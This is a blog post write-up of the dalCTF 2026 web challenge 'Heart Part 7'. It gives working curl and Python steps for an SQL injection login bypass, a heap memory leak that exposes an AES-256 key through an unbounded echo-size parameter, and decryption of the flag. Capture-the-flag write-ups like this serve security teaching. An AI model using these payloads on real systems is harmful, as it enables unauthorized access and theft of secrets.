DEV Community

Cover image for Heart Part 7 - dalCTF 2026
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

Heart Part 7 - dalCTF 2026

Category: Web

Flag: dalctf{p1mp_p1mp_h00r4y}


Overview

A multi-stage web challenge themed around Kendrick Lamar's m.A.A.d city / Kung Fu Kenny lore. The attack chain involved:

  1. SQL injection to bypass authentication and get an admin JWT
  2. Heap memory disclosure via an unbounded echo buffer to leak the AES-256 key
  3. Fetching and decrypting the flag using the leaked key and a separate IV field in the API response

Step 1 - SQL Injection → Admin Session

The /login endpoint was vulnerable to classic SQL injection. Commenting out the password check with -- - bypassed authentication entirely and redirected to /admin with a valid JWT session cookie.

curl -X POST https://<target>/login \
  -d "username=admin'-- -&password=x"
Enter fullscreen mode Exit fullscreen mode

Response:

HTTP/2 302
location: /admin
set-cookie: session=eyJhbGci...GRnU_ObEj_WaG6GQOE8Y-DMsD9qhVPDvfx9YfIcNn6Q
Enter fullscreen mode Exit fullscreen mode

Decoded JWT payload:

{"username": "admin", "role": "admin"}
Enter fullscreen mode Exit fullscreen mode

The JWT was signed with a static/weak secret and remained valid for the rest of the challenge.


Step 2 - Heap Memory Leak via Cipher Health Endpoint

The admin panel exposed a /cipher/health endpoint that echoed back a user-controlled buffer padded to size bytes. Sending 1 byte of input with a large size caused the server to fill the remainder with adjacent heap memory — leaking the AES-256 key.

curl -X POST https://<target>/cipher/health \
  -H "Content-Type: application/json" \
  -b "session=<admin_jwt>" \
  -d '{"data": "A", "size": 100}'
Enter fullscreen mode Exit fullscreen mode

Response (echo field, base64-decoded):

A[63 null bytes]KENDRICK_MASTER_KEY=<32 raw key bytes>
Enter fullscreen mode Exit fullscreen mode

Extracting the key:

curl -s -X POST https://<target>/cipher/health \
  -H "Content-Type: application/json" \
  -b "session=<admin_jwt>" \
  -d '{"data": "A", "size": 100}' | python3 -c "
import sys, json, base64
d = json.load(sys.stdin)
echo = base64.b64decode(d['echo'])
ki = echo.find(b'KENDRICK_MASTER_KEY=')
key_bytes = echo[ki+20:ki+52]
print('Key hex:', key_bytes.hex())
"
Enter fullscreen mode Exit fullscreen mode

Leaked key:

9e1b8a5f8ed44e4711c0f4768c13f5a336bc4a6deeea307720a87b9fca44f02d
Enter fullscreen mode Exit fullscreen mode

The variable name KENDRICK_MASTER_KEY and the service name MAadCipher are both nods to the Kendrick Lamar theme running throughout the challenge.


Step 3 - Fetching the Encrypted Flag

The /api/flag endpoint returned a JSON object. A key mistake early on was only extracting the ciphertext field — the iv was present as a separate field in the response.

curl -s https://<target>/api/flag \
  -b "session=<admin_jwt>"
Enter fullscreen mode Exit fullscreen mode

Full response:

{
  "algorithm": "AES-256-CBC",
  "ciphertext": "baCIJCXuBcIOJ23q0FS8GDaSN5/71aIqY156ju5Z6oc=",
  "iv": "fcSvIZ1LMw72z34mvr0O5A==",
  "sealed_by": "MAadCipher v1.0",
  "status": "ok"
}
Enter fullscreen mode Exit fullscreen mode

Rabbit hole: Treating the first 16 bytes of the ciphertext blob as the IV only decrypted the second AES block, yielding _h00r4y} — the tail of the flag. The correct IV was always in the "iv" field.


Step 4 - Decrypting the Flag

With the leaked key and the correct IV, standard AES-256-CBC decryption recovered the flag.

python3 - <<'EOF'
from base64 import b64decode
import subprocess

KEY = "9e1b8a5f8ed44e4711c0f4768c13f5a336bc4a6deeea307720a87b9fca44f02d"
iv  = b64decode("fcSvIZ1LMw72z34mvr0O5A==")
ct  = b64decode("baCIJCXuBcIOJ23q0FS8GDaSN5/71aIqY156ju5Z6oc=")

result = subprocess.run(
    ["openssl", "enc", "-d", "-aes-256-cbc",
     "-K", KEY, "-iv", iv.hex(), "-nosalt"],
    input=ct, capture_output=True
)
raw = result.stdout
pad = raw[-1]
print("FLAG:", raw[:-pad].decode())
EOF
Enter fullscreen mode Exit fullscreen mode

Output:

FLAG: dalctf{p1mp_p1mp_h00r4y}
Enter fullscreen mode Exit fullscreen mode

Attack Chain Summary

Login page
  └─ SQL injection (admin'-- -)
       └─ Admin JWT session
            └─ /cipher/health heap leak
                 └─ KENDRICK_MASTER_KEY (AES-256 key)
                      └─ /api/flag → ciphertext + iv
                           └─ AES-256-CBC decrypt
                                └─ dalctf{p1mp_p1mp_h00r4y}
Enter fullscreen mode Exit fullscreen mode

Key Takeaways

  • Always read the full API response. The IV was in the JSON the whole time - only extracting ciphertext caused the "missing block" rabbit hole.
  • Unbounded echo buffers leak heap memory. The size parameter had no upper bound, turning the health check into an arbitrary heap read (CWE-126 style out-of-bounds read).
  • Theme ≠ hint for the flag value. The Kendrick / M.A.A.D / PIMP theme was flavour - the actual flag required proper crypto, not guessing.

Top comments (0)